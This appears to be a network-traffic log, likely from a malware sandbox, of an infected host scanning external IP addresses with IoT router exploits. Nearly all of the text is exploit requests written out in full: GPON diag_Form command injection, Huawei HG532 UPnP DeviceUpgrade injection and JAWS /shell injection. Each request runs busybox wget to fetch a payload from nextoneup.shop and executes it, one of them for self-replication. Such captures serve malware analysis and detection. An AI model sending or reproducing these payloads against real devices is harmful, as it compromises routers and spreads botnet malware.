XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
873	192.168.2.13	56296	2.148.105.144	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868881941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
874	192.168.2.13	56782	5.24.86.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868918896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
875	192.168.2.13	57668	42.38.227.40	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868946075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
876	192.168.2.13	48176	79.166.93.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.868993998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
877	192.168.2.13	55974	210.160.161.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.869021893 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
878	192.168.2.13	47658	148.145.92.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.869045019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
879	192.168.2.13	47690	94.50.62.18	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.869067907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
880	192.168.2.13	45250	2.244.242.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.869085073 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
881	192.168.2.13	39114	148.242.205.203	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.869102001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
882	192.168.2.13	36696	212.119.220.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.869122982 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
883	192.168.2.13	48484	109.197.168.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.869143009 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
884	192.168.2.13	46704	123.234.169.181	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.869190931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
885	192.168.2.13	58258	79.59.43.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.869204998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
886	192.168.2.13	50190	156.77.130.124	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.956913948 CEST	858	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
887	192.168.2.13	37672	8.217.236.138	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:20.364272118 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:21.357242107 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:21.682199001 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:21 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
888	192.168.2.13	33710	156.241.125.101	37215

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.102634907 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:25.192368031 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Apr 14, 2024 04:00:31.336466074 CEST	846	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 